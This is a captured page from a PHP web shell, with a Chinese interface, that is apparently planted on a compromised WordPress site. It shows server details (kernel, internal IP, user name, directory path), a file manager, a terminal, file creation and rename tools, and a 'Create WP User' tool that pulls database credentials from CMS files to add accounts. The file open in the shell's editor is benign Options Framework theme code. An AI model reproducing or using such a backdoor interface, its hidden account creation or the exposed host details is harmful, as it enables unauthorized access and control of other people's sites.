Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
ocieplenia.konin.pl
/
wp-content
/
themes
/
onetone
/
admin
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
css
[目录]
drwxr-xr-x
2023-12-02 10:35
images
[目录]
drwxr-xr-x
2023-12-02 10:35
includes
[目录]
drwxr-xr-x
2023-12-02 10:35
js
[目录]
drwxr-xr-x
2023-12-02 10:35
options-framework.php
2.68 KB
-rw-r--r--
2018-03-20 20:22
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
options-framework.php
<?php /** * Options Framework * * @package Options Framework * @author Devin Price <devin@wptheming.com> * @license GPL-2.0+ * @link http://wptheming.com * @copyright 2010-2014 WP Theming * * @wordpress-plugin * Plugin Name: Options Framework * Plugin URI: http://wptheming.com * Description: A framework for building theme options. * Version: 1.9.1 * Author: Devin Price * Author URI: http://wptheming.com * License: GPL-2.0+ * License URI: http://www.gnu.org/licenses/gpl-2.0.txt * Text Domain: optionsframework * Domain Path: /languages */ // If this file is called directly, abort. if ( ! defined( 'WPINC' ) ) { die; } // Don't load if optionsframework_init is already defined if (is_admin() && ! function_exists( 'optionsframework_init' ) ) : function optionsframework_init() { // If user can't edit theme options, exit if ( ! current_user_can( 'edit_theme_options' ) ) { return; } // Loads the required Options Framework classes. require plugin_dir_path( __FILE__ ) . 'includes/class-options-framework.php'; require plugin_dir_path( __FILE__ ) . 'includes/class-options-framework-admin.php'; require plugin_dir_path( __FILE__ ) . 'includes/class-options-interface.php'; require plugin_dir_path( __FILE__ ) . 'includes/class-options-media-uploader.php'; require plugin_dir_path( __FILE__ ) . 'includes/class-options-sanitization.php'; // Instantiate the options page. $options_framework_admin = new Options_Framework_Admin; $options_framework_admin->init(); // Instantiate the media uploader class $options_framework_media_uploader = new Options_Framework_Media_Uploader; $options_framework_media_uploader->init(); } add_action( 'init', 'optionsframework_init', 20 ); endif; /** * Helper function to return the theme option value. * If no value has been saved, it returns $default. * Needed because options are saved as serialized strings. * * Not in a class to support backwards compatibility in themes. */ if ( ! function_exists( 'of_get_option' ) ) : function of_get_option( $name, $default = false ) { $option_name = ''; // Gets option name as defined in the theme if ( function_exists( 'optionsframework_option_name' ) ) { $option_name = optionsframework_option_name(); } // Fallback option name if ( '' == $option_name ) { $option_name = get_option( 'stylesheet' ); $option_name = preg_replace( "/\W/", "_", strtolower( $option_name ) ); } // Get option settings from database $options = get_option( $option_name ); // Return specific option if ( isset( $options[$name] ) ) { return $options[$name]; } return $default; } endif;
关闭
保存